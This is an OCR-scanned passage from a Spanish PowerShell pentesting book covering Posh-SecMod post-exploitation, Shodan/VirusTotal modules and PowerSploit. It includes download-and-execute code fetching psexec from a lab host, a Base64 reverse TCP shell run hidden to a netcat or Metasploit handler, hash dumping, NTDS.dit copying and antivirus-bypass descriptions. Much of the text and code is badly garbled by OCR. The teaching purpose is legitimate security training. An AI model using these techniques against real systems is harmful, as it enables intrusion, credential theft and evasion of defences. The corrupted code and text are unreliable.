192 168.56-1083
92168 .56-103
H92.168-.56.183
92 168.56-183

ortos on Invoke-Portscan.
Fig. 3.24: Seleccionando wn rango de puertos TCP con

b i
i fer : 1 nombre de dominio 0
La funcion Invoke-ReverseDNSLookup permite al ;.)eme.::,rei ?btm? eCiém o ey
sauina a través de la resolucion inversa de una direccion 1P. La fun M WY
o irecciones 1P o escanear una red g
g Gourar rangos de direccioncs ; gl
we v CIDR para configurar rang _ B | B L' cog g
R({I?Z;rz de red pSi se quieren escanear direcciones 1P de dllerenlesllledes oll? )Lfle ;e sy s
S04 2 - . ke - T |
o 1(consecutivas la funcion no dispone de un parametro para ello, po q
no so1 :

ejercicio sencillo de canalizacion.

g € > i intr -['CCC.H'H
En p1 imer lugar el ]‘?’)}?I'(’TJL’I' grea un alCl'll\,-'O de texto dOﬂdE por Cﬂdﬁ lir ei i : " . .
PI E;te fiche sera pa . 5 ; o foreact 16 de por cada itera 0on s
3] i ach aondae | e
-2 B = q;jd() a traves de un pl,l)(:’ ajare d '( : 6‘ eﬂ‘ECL[ ra und
| E; “a\ a dtf-hs ldo U ][C Ol 1‘C 1 un rango pa ireccion 1P, en este caso la que co esp()]ldd cn
{ 10 ¢ 4 una Sola dlii—.C(.lO!.‘l 5 ; : f e,
1la1 da a est: funcién cot rat . 3y Dat : <ﬁch’t;’r0 con L'ﬁi’e(’ﬁ'f(?ﬁﬁ? P> ! Oi'{?(lth ! o
itera i¢ ai L c16n a e;ecutar €s cd - 3 )
cada iteracion. [a mstruccion : 7 £ \ [PL‘ }‘ ) ke
R : DVSLO()!\'HIJ —Rai?g@ 5 -S ,«!. La \’Eiﬁ'db]]{.? 5 €8 utlhzada en el pEliB 1o Ra g pﬂlﬂ 90[ e
e " ; ) R v 10 .
6] m{uimo Y E!l 1 ax1 §16) del lango. en este caso €s el mismo valor
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[PS D:N\libros\pentesting powershell\Posh-SecMod-—naster\Discovery> cat -Nip.txt ! foreach {Invoke—-Reus

h:seDNSLookup —Range §_-

AddressList
jgoogle—public—dns—a.google .com
google-public—dns-h.google .com {8.8.4.4>
[P11P-87_.11Paths.local {feBB::4e9:e464:5973:944F%23, . ..
ETASPLOITABLE {192.168.56_183>

[PS D:A\libros\

master\Discovery>
Fig. 3.25: Resolucion inversa de direcciones IP obtenidas a través de fichero personalizado.

Post-Explotacion con Posh-SecMod

El médulo de PostExploitation de Posh-SecMod presenta un gran niimero de funciones relacionadas
con la fase de post-explotacicn de un test de intrusién. Como se puede leer en Ja descripeion de
las funciones el pentester puede disfrutar de diversas opciones para obtener informacién, como un
listado de hashes, de las maquinas a las que se accede, la posibilidad de descargar cadigo ejecutable

en diversos formatos, la posibilidad de ejecutar procesos de forma remota, una shel/ inversa a traves
del protocolo TCP, etcétera.

Este modulo es uno de los més funcionales del conjunto Posh-SecMod. aunque como se ha ido
viendo en el resto de modulos hay funcionalidades muy interesantes para la realizacion del penrest,

A continuacion se muestran las funciones disponibles en el médulo:

Funcién Descripeion

Esta funcién convierte un comando en formato String en un
comando encodeado en Base64. Como ejemplo se presenta la
siguiente instruccion ConvertTo-Base64Commaned -commancd
“write-host “hello world"”, dando como salida chwByAGleddA-

BIACOAaABvAHMAAAAgACcAaABIAGwWAbABvACAAdWBA-
HIABABEACeA.

Convertio-PostBase4Com-
e

Transforma el contenido de un scripr en un EncodedCammand.
0 bien transforma un comando directamente en un Enco-
dedCommand. La funcién admite un parametro file que recibe
una ruta de un seript para transformar, o un pardmetro con-
mand que representa el comando que se quiere transformar

Compress-PostScript

Nen Esta funcién genera un EncodedCommand que descarga un
New- £ E " %
= ) seript de PowerShell y lo ejecuta en el sistema de la sisuiente
PostDownloadExecuieScript ? yg ) &
forma PowerShell.exe —EncodedCommand <conmand=>

Esta funcién genera un EncodedCommand que descarga un
New-PostDownloadExecite PE

array de bytes y lo ejecuta sobre el sistema de la siguiente
forma PowerShell.exe —EncodedCommand <command>
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Funcién Descripcion

Esta funcion ejecuta un proceso en una maquina remota a

Start-PostRemoteProcess ravés del lenguaje WMI

Esta funcién genera un comando que permite realizar un
volcado de hashes de la maquina, cominmente conocido como
hashdump. Como ejemplo se presenta la siguiente instruc-
cién Scom = Get-PostHashdumpScript, la cual almacena en
la variable $com el comando que s¢ ejecutard a posteriori con
PowerShell.exe -command Scom

Get-PostHashdumpScript

Esta funcion proporciona un EncodedCommand, el cual crea
una conexion inversa que propotciona una shell. Generalmen-
te esta funcién es utilizada junto a Stari-PostRemoteProcess.
Como ejemplo se presenta la instruccion $com = Gei-PostRe-
verShell -LHOST 192.168.1.104 -LPORT 4444. Despugs la
om puede ser utilizada por funciones que ejecuten

procesos

Get-PostRever TCPShell

variable Sc

Copia el fichero NTDS.dit. el cual es el fichero que almacena

informacién sobre los usuarios y mégquinas de un dominio en

un controlador de dominio, utilizando Volume Shadow Copy.
Por defecto, el fichero se copiard en la ruta Senv: TEMP

Get-PostCopyNTDS

Convierte un fichero en un array de byfes en hexadecimal

ConvertTo-PostFiletoHex

Convierte un array de byres en hexadecimal al fichero origi-

nal. Con estas 2 funciones se puede transformar un binario en

contenido hexadecimal y meterlo en un fichero de texto para
introducirlo en un sistema

ConvertTo-PostHextoFile

Get-Webconfig Devuelve un listado de conexiones en formato String

Devuelve un listado de los Application Pool y contraseias de

los directorios virtuales

Get-ApplicationHost

Tubla 3.20: Funciones de PosiExploitation en Posh-SecMod.

PoC: Base64, compresion, descargas y ejecucion
En esta prueba de concepto se van probar diferentes funciones relacionadas con la ejecucion de
codigo en Base64, la posibilidad de descargar ficheros externos y poder ejecutarlos. Estas funciones
pueden ayudar a un penfester a conseguir descargar el fichero, ya sea instrucciones en PowerShell 0
un binario, en la maquina donde se encuentre 0 en una maquina remota. Quiza. el mejor escenario pard
utilizar estas funciones sean maquinas Windows sobre las que el peniester no tiene privilegio, pero
si que puede ejecutar instrucciones en una PowerShell, ya sea porque tiene acceso local o remoto.
Puede que el pentester se encuentre en un entorno sobre el que no puede instalar aplicaciones.y no

dispone de sus herramientas.
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_ R

La primera funcidn que se muestra en esta

o ol sunlsi i pruu:‘ba de concepto es Compress-PostSeript. Con est

ol fin de e_fe) oot dii;(iz :?Q;Ef;mf ]cl gon_t.emd'(? de un script y almacenarlo en una i‘ziriiﬁll?e LCbO‘;'

es la variable que almacena el co ]tl " .dﬂ mstruccion PowerShell.exe —Command Sfile, dénde Sfile

visualizar un pequefio ej oo (? asl o de forma comprimida. En la —
pequetio gjemplo de un seripr que ejecuta 3 palabras por pantalla e e

PS C=\Users\pgonzalez\D
pS C:NlUsers\ z =z efktup)
G plise pgonzalez\Desktop> cat .\p.psil

PS C:\Users\pgonzalez\Di

3 z sktop> G PESS— i
[nupke=Expresaion 5 ‘:e top> Compress—PostScript —File C:\lUser
nushe Cepeession e Shjeet 1008 Eee Sheaion Bivey-ohyecer T0-catoozelox Jeaktony oot
.CompressionModed: :Decompress)). [T ronBase64String (" SUI0YFEI ﬁ?JSme“mn-neflatEStPeam $5 Cew, on
I g:\Hsebs'\pgunzalez\Devl}:tﬁi“l; $i‘i§£ext{:Encadin9] SASCIID>D> Heacsl'IuEng'g]){xm.kSQIn,))>)' [IO-CDmPPe:viO
& Alisersy 1 2z = PR UORIBERS SLiis ipt —Fi £ ; =
81 pyonzalez\Desktop> powerchell. moe _CDEHI§§§|;¥§1EF11(:: G:N\UsersNpgonzale

z\Desktopsp.psi

onzalez\Desktop>

{12 T 7, £ i S ©
Cor TEesIo de un fichero de Po erShell para su posteriol ejeciucton
F 3.26 7 il wn fi 2 2 1.

La segunda funcior
1 que se pr ;
g e permiteq(;e se presenta en la prueba de concepto es New-PostDownloadExecuteSeri
comando en PowerS} CSCATgArse un scripl en remoto y genera un EncodedConme d {-C ik
owerShell que se encuentra en Base64 pero es totalmente ejecutabl O BRS
» B 8 jecutable.

Una de las cosas intc
: S nter 3

El seript que se descq]esaI}tes que se pueden hacer con esta funcién es la descarga de un seri

: & g "oar, -~ i 9 j22d
Pt ok s bjm[-i:) Dalare:n esta prueba de concepto proporciona al pentester J; DOSihn'J(;gt'
e| /7{’1?;9%’;@;- o ario que se encuentra en Base64 en un fichero de texto. Es decir. supd idad de
: 1‘ : lu,ne en una maquina con direccion [P 192.168.56.101 un e 'kd Ln.fupongase que
cheros £xt, los cuales iene e bt servidor web donde ofrece
e S /Es contienen un fichere transformado en Base64. La idea es que con | Lthi-_Cc
i 1/ A v o - " o S - L - n i
ek oty Foeni lc ,\cf(:llchCI ipt se descargue un fichero v de los que se ofrece [a -y

..E8 cidn trans — ) cce en el servidor
g nsformara el contenido del fichero #xr en un Encoded( ervido
ser ejecutado a posterior. un LacodedCommand, el cual podra

A continuacion se muestrs 5di -
un binario, un seript, Li:] ;siﬁsilff de una ﬁu.m]on en PowerShell que transforma un fichero, va sea
en Base64. La ejecucion de esta ﬁl(; o ’Cualflmcr cosa en un fichero que contiene su rcpresc;ﬁaci()ﬁ
a transformar, por ejemplo un EX, \Clon = Se_nc'uﬁ ConvertTo-Base64 —SowrceFilePath <[Ficher
3 PO U B E —ng@!ﬂ/@f’a{/r <Fichero donde se abmocena e BUS‘C_,GFJ\)IUH

tunietion ConvertTo-Basefd

ser miltiple de 4

Sbuffers

ze
] ::QpenRead (S5ourceFilsPath)
tiCreateText ($TergetFilebath)
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I while
treader.Dispese()
$writer.DispcSet)
16 rior pé r un fichero
} fer ha utilizado la funcion anterior para genera
e Nd :

{xt gue ()ﬂ'l]e‘[ {22 S 4 | S e isinterndLs ] Q )letiVO de]l pé}”ejfef 28
q i l B 6 de 15 her[‘al'nienta p. exec d S'L. tern li .
o ase

1é trapolar esto a cualquier
EXE desde una ubicacion bajo su control. pudiéndose extrap
descargar este e

er a e iester eces te du a“te ]a dltOI]a.
1 nienta o ElI'Ch]VO q‘Ll 6] [)(:‘!’l estern L T all
a

convierte Base64 al fichero original. Esta fu

e i La idea es que esta funcion n

para recuperar el fichero psexec.exe. ek g
1dquina dénde estd el pentesier, éste se la baje
n

de Posh-SecMod.

1
1 onvertFrom-Basebd
function ConvertFrom

|

ilePath,
ilePath

nigl 530

St

in

4N

er multip

Sput

Sreader.Read (Shuffer
] ::TromBagef4Ch

jerPathFromPSPath
i8] alvedProviderPathFromPSka
=, Path.GetinreselvedabToy

function download{

param| )
- d[?arameter(Mandazory)J

nei6n serd utilizada por el pentester
o se encuentra directamente en la
New-PostDownloadExecuteScript

1

Capitulo III. PowerShell puro: El arte del pentesting

)
Shasefd = Invoke~WebRequest “hitp://Sip/Spath?
echo Sbase64.Content
eche Shasefd. Content » fileBase. txt
ConvertFrom-Base6d -SourcelilePath fileBase. txt —TargetFilePath spathTarget
rm . \ileBase.txt
!

downlead -path psexec.txt —“pathTarget .\psexec.exs -ip 192.168.56.101

Dentro del fichero se tiene en la (ltima linea Ja instruccion download -path psexec. iyt -pathTarget
Apsexec.exe -ip 192.168.56.101. Cuando se ejecute la siguiente instruccién PowerShell exe
-EncodedCommend (Nen‘*‘Postoufnloadﬁrec‘meScr'ipl ~Url hitp://192.168.56.1 Olidovenioad,
ii), se abrira una nueva sesién de PowerShell Y se ejecutara el resultado de la instruceion New-
PostDownloadExecuteScript Ul htip://192.168.56.101/download. iyt Esta (Gltima instruccion
genera un EncodedCommand que lo que realmente realiza es la ejecucion del contenido del fichero
download.rxt, por esta razén la tltima linea del fichero download.txt es download -path psexec.txf
-pathlargel \psexec.exe -ip 192.168.56.101 pard, una vez cargadas las funciones, ejecutarias.

Puede parecer algo enrevesado, pero si se aplica paso a paso se verd senci llo. Este proceso permite
obtener cualquier tipo de archivo en la maquina remota intentando evadir algunos controles que
pudieran existir,

uQszEHHkHGqFBsLHhuOiJNadHFtqudU#/c4/H9thNoth?3@81R/arp+BRDux2lQxHRBlFZBRHHjUZQiZHKtx?tNNGHIlCTt
j3s3IPhBZBNil30e +F5u3bD1yUNBentiQ/Grn3 1070sLJJY¥=8 /3 /=5 ThhEad2 1Ph23ckypsadhpul TU?Kr +ugS 41GIME ke W1 kEke
ORhgRO2gluPBgB6?/+»JLKAS hweGCA dgugygl kngqllkiG?l-uﬂBqu‘xggIUl‘ll ICEQI BATCB; jB3MQsuCQY DU QQGEuJUUZETMBEGALY
HEHHUZPzaG1uZSRubjEQHR4GRIUEBxMHUmUth?uZDEeHBuGQlUEChHUTHljcm?thZBIENucnBucmFBaH?uMSEwHwHDUQQDEx
IanNyhaNuZanUGltZSdeGFtcCBQQBECEzHRHRHBJDFHyaDEeYBHHﬂﬁﬂHDQuCQEFRu4DRhoFﬂRHdHBgGCSqGSIh3DQEJHzELB
gkqhkiG?uBBBuEuHﬂYJanIhucNﬁQkFHQBKDTEBHDQyDDIxHDUlenulu?JKnZIhucNRQkEHR?EFNNﬁTUrB?aQHGSGHadetSRD

MGHHRBGCSQGSIh3DQEBBQUﬂBIlHnﬂuJOe?p7NZ/IekGPHOluan+U1KNer/HQOBQuLchBJ4sR2uGLl7+aQNanlxﬂm34h1Hth
lMWJnEHHP?RFukahz?QFSuPEPmsIdkhe+T?iZkthR?UFgwdeHEtPFhQngRHTPmLHSl@FYNdJﬂuS?qBNBuUkoEeESSHDe4i
66 S?au/gﬁaaahﬂsGkuLYi6r?H12dNB+YnJan?jgsHZGU/nKNGUuQUI3TNBeOrGOHa+3GHDZBaPJaPHXHd195EHOEEGsdp4pR
i'.lthuJ31q53dePxSS'xergHBHzNuL?Pa/TOkQUShH3uﬂeueQ}<5au/3nS+2b9hUnn4HBnﬂUﬂﬂnnﬂ
PS C:\Usevs\pgonzalez\Desktop)
PS C:\Users\pyonzalez\ﬂesktnp)
w:C:\users\pgnnzalez\Desktop)
N:C:\Users\pgonzalez\Desktup)
PS C:\Users\pgonzalez\l}esktop) -\psexec._exe

Fig. 3.27: Descarga en hase64 de psexec V' transformacion a binario.

PoC: Shell inversa, SAM y NTDS con Posh-SecMod

En esta prueba de concepto se utilizan funciones de post-explotacion interesantes para llevar a
cabo esta etapa, Conseguir ejecutar una shell en otras maquinas haciendo movimiento lateral en
la organizacion ¢s una de las vias posibles para acceder a otro tipo de informacion. Este tipo de
aciones se hacen bajo la identidad y permisos conseguidos hasta el momento por el pentesier,

En primey lugar se utilizard la funcion Get-PostReverTCPShell para generar un eddigo en baset4
e en el momento que se ejecute a través de una PowerShel/ proporcionard la invocacién de una
shell que se Conectara de forma inversa a un handier que el pentester tendri configurado. En la



Pentesting con PowerShell

ar como la generacion del codigo en hase64 se almacena en una variable
ecuta dicho cédigo a través de {a invocacién de un nuevo proceso de

imagen se puede visualiz
_EncodedCommand $shell, siendo Sshell el

y que posteriormente s¢ ej
PowerShell de la siguiente forma PowerShell.exe

nombre de la variable utilizado para almacenar el codigo.

pe-p=NLibrosspentesting powershell\Pnsh—SecHud—master\Pns
—PostReverICPShell en la posicién 1 de 1a canalizacidén de comandos
Proporcione valores para los paranet1os siguientes:
THOST: 192.168.56.181
[LPORT: 4444 5
S D:Nlibrosspentesting pouers naster\PustExplnitatiun> Sshell
HﬂhﬂGQHZRByRGUncuBzHCRRPQHnﬂD 1RD?HLngﬁDnHHQﬂnHDsnIﬂnkRHRHbuByRHQRlﬂn?ﬂCRHJwﬂEnDt
'dQBuHGHﬂdﬂBpﬂGBthﬂgRGHﬂbﬂBln BmﬂCHHHﬁﬁkﬂGHRhﬂBpnGUﬂthBﬁG4RQwBuﬁG4ﬂthlﬁGﬁHdﬂBlne
QﬂdﬂByﬂHUﬂZQﬂpRCHﬁewﬂknGMﬂhHBpﬁGUﬂth@RCéRQwBsHGBHchlHCgﬂKQB?RnoHpQBmaCﬁﬁHﬁﬁkHHﬁﬁchunGHnZQBa
HﬂlﬁRtﬂG4ﬂZQﬂgﬂCQﬂthiHGHRhﬂﬂpﬂcﬂﬂewﬂkﬂﬁﬂﬂchuRGHRZQBzﬁHHRLgBDHGuﬂthzHGUHKHHpﬂHQRCgBlﬂHgﬂaQBBRHERan'
EanQB3nCBﬂTuB%ﬂGaRZQBjQH B

= Get—PostReverICPShell

tExploitation> Sshel

AGKAZQBUAHONLgBSAGUAY wB1AGKAdgBIAELA
AFHA:QBzAHOAZOBE ACAARABPAGEAZwBuAGEACY

izacion de —Windows. Este

ecucion de la shell inversa es la util
un proceso

alores, el cual hidden proporciona al pentester

Un pardmetro interesante en la €
gjecucion quedaria de la siguiente forma PowerShell.

parametro proporciona diferentes v
cjecutando de forma oculta en la méquina. La
exe —EncodedCommand Sshell ~Window Hidden.

6n que genera la shell y para ello puede utilizar,
o sencillamente un nefcal escuchando por el
uelva la conexion a una

el pentester debe recoger la conexi
loit/multi/handler
ha configurado la shell para que dev
handler de Metasploit estara escuchando en ese

plo ne —1—p 4444,

Por otro lado,
entre otras cosas, el modulo exp
puerto adecuado. En el gjemplo se
direccion 1P y al puerto 4444, por lo que el modulo
puerto. Lo mismo ocurre en ¢l caso de utilizar nefcat, por ejem
adulo exploit/multi/handler dénde

alizar una configuracion basica del m
aso windowsishell/reverse_Icp.

En la imagen se puede visu
uerto y el payload utilizado, en este €

se indica la direccion IP, el p

Fig. 3.29: Configuracion de e.\’p[oi{/nnn’ri/.'mnd!el:

¢647 Se puede utilizar un decoder para poder pasar de
el codigo que realmente se est4 ejecutando. Existen varios decoders onling
para llevar a cabo esto. Como se puede visualizar en la imagen la funcion

Il genera un codigo totalmente legible y entendible.

4 Qué es lo que est4 detras del codigo en bas

hase64 a String 'y Ver
que se pueden utilizar
Get-PostReverTCPShe
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EI 7EF St i I Se para haCLf
Jl' wester ‘puﬁ‘de Uti[ Zar eﬁte LGd]gU como ba p

fipO depm-[(_,a ; .
pavioads que : sus modificaci ;
que despugs puede pasar a base64 it odificaciones, e incluso crear otro

com i
0 se ha mencionado anteriormente

UABRAG
QAZAByAGUA
Y ALGAXADAA cwBzACAAPQARADEAQQA
bl yOAnADsAlAAkAHAAwayAHmmﬁ%ﬁ%ﬁgﬁggimm -
AdOBUAGMAGAR 0A [
AKAAKAGMABABPAGUACE0a e AIAGEAbGB 1AHAAIABTAA 7
Uacrgac gBOACdAQvaAGtiAbgBIAGMAdAB}AggA?}iEAC
AdAByAHUAZQARAC NG
AAewAkAG
CgAKQBSAAOA QP W MABABpPAGUAbgB0A
g?JEMAbWBkA ¢ BmACAAKAAkAHAACQBVAGMA%QBz%}-?H?;\VFQSEﬁ‘:%%QCAW%A
AIAALAGAAZQAGACQA s
AHMALgGBDAGWAb, bgBIAGWADAAPACAA
g wAbuBzAGUAKAApAHoACgalAHg?;g%ﬁiAu;%Bﬁi“éﬁmsz
s ABAB ~

UTF-8 <
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T

Funecion

Descripeion

Devuelve informacién sobre la cuenta de la APIKey. Un
ejemplo sencillo serfa almacenar la APIKey con la funcién
Ser-ShodanAPIKey y al recuperar la informacidn de la cuenta
con la funcion Get-ShodanAPlInfo se puede ejecutar la
siguiente instruccién Get-ShodanAPlIInfo —APIKey (Read-

ShodanAPIKey)

Get-Shodand Plnfo

Get-ShodanService

Enumera el listado de serviciog disponibles

Devuelve informacién sobre una direccion IP. Los datos
que pueden ser devueltos son el sistema operativo, puertos
abiertos, organizacién a la que pertenece, ISP, tipo de

protocolo de transporte, etcétera. Su gjecucion es Ger-
ShodanHostService ~APIKey <vaior> -[PAddress

[P>
Esta funcién permite realizar busquedas sobre la base de
datos de Shodan en busca de maquinas. Las bisquedas son
tan flexibles como las guerys que se pueden hacer a través del
sitio web, pudiendo realizar blsquedas de banners, puertos,
sistemas operativos, regiones, geolocalizacion, etcétera

Proporciona una forma de medir los resultados de |
consultas. En otras palabr

Get-ShodanHostService

<direccion

Search-ShodanHost

as
as. si se realiza una biisqueda sobre
hosts, por ejemplo de Zabbix. se obtiene el resultado de
ocurrencias. Un caso particular seria ejecutar la instruccion
Measure-ShodanHost —Query “zabbix"

Measure-ShodanHost

Realiza resolucién de nombres de dominio a través de la b
Get-ShodanDNSResolve e

de datos de Shodan
Realiza resolucién inversa de direcciones 1P
base de datos de Shodan
Devuelve la direccién IP desde dénde el usuario se conecta
Esta funcion permite realizar basquedas sobre la base de

datos de Shodar en lo referente g vulnerabilidades vy e

xploits
disponibles. Esta funcién es realmente interesante para poder
tener acceso a una gran cantidad de exploits

Permite medir el niimero de ocurrencias de exploits con

ase

Get-ShodanDNSReverse

a través de la
Get-ShodanyiP

Search-ShodanExploit

Meusm'ckS/ma'c.'nErpl'oit

una query personalizable en funcién de las necesidades del

peniester
e n
Tabla 3.21: Funciones del maduls Shodan en Posh-Shodan.
‘\Coﬂlmuacic’m s€ muestran las funciones del médulo de VirusToial, el cual se puede encontrar en
Pogh. Virus Tosa:
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Funcion

Descripeidn

Get-PoshVTVersion

de VirusTotal que s

Chegquea la version del modulo
el que se encuentra en

encuentra instalado y la version d
Github

v almacenada

Get-VIAPIKeylnfo

Recupera informacion de la APIKe
previamente

Get-VTDomainRepoit

para un dominio dado

Recupera un reporte de Virus Total

Get-VTFileBehaviourReport

fichero al ser ejecutado en

indica el comportamiento de un
una sandbox. Para esta funcion se

debe disponer de una APIKey privada

Recupera el reporte que

Get-VTFileComment

Recupera los comentarios de otros miembros de la
Comunidad sobre el recurso solicitado

Get-VTFileNetworkTraffic

a un dump del trafico de red generado por un

Recuper
fichero ejecutado

Get-VTFileReport

Recupera un reporte basico de VirusTotal sobre un recurso

Get-VTFileSample

Descarga un fichero a ravés de su fash
dos de un escaneo para ui archivo

Get-VTFileScanReport

Recupera los resulta
Virus Total almacenado para una

Get-VTIPReport

Recupera un reporte de
direccion 1Pv4

Get-VTSpecial URL

Recupera una direccion URL especial para subir archivos
més grandes de 32 MB de tamafo

Get-VTURLReport

Recupera un reporte de Virus Total a través de una direccion
URL proporcionada por el pentester

Elimina un scan programado

Remove-VTFileRescan

Sectrch-VTA dvancedReversed

Realiza blisquedas de binarios que matchean con otros
binarios, metadatos o criterios

de la APIKey para que s pueda utilizar

Set-VTAPIKey

Configura el valor
¢in necesidad de indicarla implicitamente en
de funciones

cada ejecucion

fichero o direccion

Set-VTFileConmment

Permite subir un comentario sobre un
URL

Sei-VTFileRescan

Lanza un escaneo o programa un escanco para ser lanzado
mas adelante

or escaneada por VirusTotal

Submit-VTFile

Sube una muestra para s

!

Sube una direccion URL para ser escaneada por VirusTota

Submit-VIURL

Tutbia 3.22: Funciones del médlo Virus Total en Posh-

Virus Total.
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i st |

PoC: Shodan y VirusTotal en tu PowerShell

En esta prueb
a de concepto se :
m g :
& trsmdn del use:de Ia A%l o a:istran diversos ejemplos de uso de funciones de Shodan v Vi
b diin APIE s, ] 1bos. Hay que recordar que para poder utilizar estas f ; n s e
¥, la cual se puede conseguir creando una cuenta d unciones hay
' en cada servicio

Ld }] fu 10 &l
1mera Nncion es Get: S 7 Ej‘ 2 a cual reg era TTNAac n na d]re( C10n
1 €1 ) ) hod{ 11 (J_S.'SEI vice [ u ] < Ip CT 1nIo 10 de ’
C ba 1Zaclor !? € p sar p p D ;
€
. i (0] S P u
eal ( ueden pasarse po Cste s¢ Cl10 para C(H]Sulta al lf nacion d S ()111])16 e S/?(?df?t’?

fﬂ D:Nlibros\pentesti
esting powershell\Posh-Shodan—master> G
g730HU —TPAddress B-EfgsgodanHostSeruic

CGA
134744072
650

%gag8§999999?99996
9483% e—public—dns—a.google . com?
807
us
Soeel

ip=134744872; isp=

=134 5 isp=Google; rfansport=
Eggz;;lugl enahled; asn=gSf51§;?n“pq Eehabyidatas
tiaeﬂtmeu:System.OhJect[]; locaéigﬁi'_sg;
gomains: Steme ec 3 org=G ; 0s5=3;
a£151£91p_pt1—3.9-3.8}}’ g=Google; os=; _shodan=;
ountain Uiew
Google s
Eéfg,8839

5 L= - -
a1 B7-31T11:06:11.123129

hostname
postal_code
[dna_code
country_code

longitude
last_update
country_code3
country_name
ip_str

0s

ports

United States
8

€532

Fi 333: R Cion de injormacion de i Host ¢ et 70/
230 Kecuper e i { 7
g fperacion 4 j rmacion de un ho: ontcreto en Shodar
7.

Una maner i
é 1era s g )
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: 55§ 2.
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En |'1 i T visualizar com q
d Ime ‘(:_en se puede i i
I ]1 r E T I ; UEda pa]d encont ar matches co <
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Fig. 3.34: Biisqueda de exploits a BRSHERaEan
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iz - Agi G simple script. En e
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; ¢ x5 Measure-
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y procesadas con la funcion Search-ShodanHost.

La tiltima funcidn que se (rata en csta prueba
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PS D:Nlibros\pentesting vowershe 11NPosh-Shodan
PIKey

~master> Measure—ShodanHost =
WU —Query “ssh-2.8 weOnlyDo 2.1 .3%

Fig. 3.35: Medicion de hosts encontrados en Shodan con una condicion determinada,

En la siguiente imagen se puede observar cémo se realiza una subida de una muestra a Virus Toial

para que se pueda analizar. La funcién de subida de archivos Submir-VTFile
sobre el fiash, el identificador del escaneo, el identificador de recur
después mas informacién. La funcién Ger- T, FileReport, 1
imagen, permite recuperar el reporte con toda la informaci

devuelve informacion
so con la que se puede obtener
a cual también se puede visualizar en la
on, publica, sobre el analisis.

[PS D:\librus\pentesting powershelINPosh—UirusTotal—

ile .\PsExec.exe —APIKey
Bd56fe?h4d538

naster> Submit-UTFile —F

3b@8535h4add194f566161131c3881af373ca322cfﬁ69674cf1272§956
5cah?5-14385394R3
2 h5c62d?9eda4f?e4h6339caa$?36a3fﬂc2f1b27e
resource EhBngSh4add194f5661&1131cBeBiaF3?3ca322c£6696?4cf1272895e
cah
jfesponse_code 1

lsha256 - 3ngS35h4add194f5661e113icBeBlaf3?3ca322cfﬁ696?40F12?2@95e
S5cah95

https://wuw.uirustotal.cum/File/3b83535b4add194f5661e1131c
8381af3736a322cfﬁﬁ96?4c512?2ﬂ95e5cab95/analysis/14335394@3

Ve
d5 a7£2a0f ?4c8b48£1699858h3h6cileda

erhose_msg Scan request successfully queued, come back later for the
report

permalink

Psﬂgfglihras\pentESting vouershellNPosh-UirusTotal-masterd Get—-UTFileReport
= ey

1d538
esource 3h38535h4add194f5661e1131c8e81a£3?3ca322cf669674cF1272@95950ab95

: B{Bkav=; Microlorld—eScan=; nProtect=; GAT-QuickHeal=;:
McAfee=; Malwarehytes=; Zillya=; SUPERAntiSpyuare=;
K7Antilirus=; BitDefender=: K?7Gl=; TheHacker=;
NANO-fAntivirus=; F-Prot=; Symantec=; ESET-NOD32=;
IrendMicro—HouseCall=: Avast=: ClamAU=; Kaspersky=;
Alibaba=; Agnitum=; UiRohot ByteHero=; Rising=:
Ad-Auvare=; Sophos Comodo=; F-Secure=; Drlleb=: UIPRE=;
TrendMicro=; McAfee—Gll-Edition=; Emsisof =; Cyren=;
Jiangmin Avira=; Antiy-AUL=; Hingsoft= Microsoft=;
Arcabit=; AegisLab=; GData=; AhnLab-U3=; ALYac=; AUware
UBA32=; Baidu—International=; Zoner=; Tencent=; Ikanrus
Fortinet=; AUG=; Panda-=; Qihoo—360=>
3h98535b4add194f5661e1131c8&81af373ca322cf6696?4c£12725953
5cah?5-1438494966

= hScﬁ2d?98da4f?e4h6Ba?caa5736a35dc2fib27e
PFesource = gh3g335h4add194?5561&1131c8e81af3?30a322cf6696?4cf1272@95&
ca

'esponse_code 1

2015-08-92 B5:56:06
https://wuw.uirustotal_cum/file/3h$8535b4add194P5661e113ic
3681af373ca322cf669674cf12?2@95350ah95/ana19313/1433494966
7

Sgan finished, information embedded
5

1
3hBEggSh4add194f566131131c8681af3?3c
b

a322cf669674cF1272095¢e

ndlisis y recuperacion de informacion de Virus Total.
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5. PowerSploit

10 utiles para
i i6n de funciones u
Joi# son un conjunto de médulos que proporcionan una c&olec;:sr-explomcmn e
Powei Spff)‘ s de la explotacion, pero sobre todo para -1?.5 fasgsd e pn gt reliedod
a]gunéﬁj 3;" -Sploit se ha dividido en dos ramas diferenciadas €
intrusion. Power ha ¢ ido
diferentes scripts con un objetivo distinto.

igui ireccion URL hitps://github.
i trar en la siguiente direccion
- werSploit y se puede encon e erShell Arsenal puede ser
e C.I?SICH' es/izwerSiloit, mientras que PowerSploit AJ.sengl 0 PU.M ejpowerShe[[Arsena[_
ff’-"m/mmgf%m;m’”{ guiente direccion URL https://github.com/mattifestation
encontrada en la si

i C nes
aramac F i i 3 alle 1 acabo ecu
1aSica de owe Spl(’,’tf proporcioﬂa un con l]]']t( ) de M )d] ]1( IE;. pa : val ; !.) e : .[)
de C(’dlg(), evasion de antl\firus, reCDPllaCH)n de met‘]T?aClOli 5‘ maIllpllClaC. 1011 de eSta’q gestlol’l dle d
ersistencia ¢ [.l I afaSG depost-exp[otac‘ion‘, maﬂipu]aclon SEnC]l a (le S fl_ﬂ?fs en ]a [laqu]] 1d Vlctl]lia
. /
p 21818 cla L
etC-etera.

; ierfa inversa. El
; o udar con la ingenie
dulo utilizado para ay alisi
-Shell Arsenal es un mo : Ticis de malware NET, analisis
Por otro lado Poweﬁ' ado para desensamblar ficheros, realizar anahslsddei e
4 e ser utiliz i ion interna de los ;
gy rsear diferentes formatos y obtener informacion in
de memoria, par

iguiente
i enumerar en la siguien
ionalidades que son proporcionadas por PowerSploit se pueden
Las funcionalida
- ta categoria proporcionan la via
] 1 se encuentran en es e : v
cecution. Las funciones que lent: g R b Ceras
iy E'wafrd' go, ya sea a través de DLL Injection. Reflective PE Inje
1 e
para gjecutar codig -
de una shellcode. B . ) e i
Seript Modification. Modifica u optimiza la gjecucion de scrip
- Scrip . .
oy - n otros fiameworks de
;)ersisrence Una funcionalidad interesante en un pe.{rfesi,r e}; ;i:il i(: o it
) : funciones permiten al pen & e
y se encuentran. Estas | : i e
POWE;SIT‘?” m:‘der al equipo o de ejecutar diferentes acciones a traves e j2
er acce : : . plsirny
. zlot;empo En resumen, genera persistencia en el equipo comp o o s SEED
- . i los antivirus. S0 .
; r bypass sobre _ s £
virus Bypass. Ayuda a realizar b; . i T
. Amé"” I;Sia lljlerl cual permite localizar firmas sencillas utilizando e
esta categoria,

i imikatz
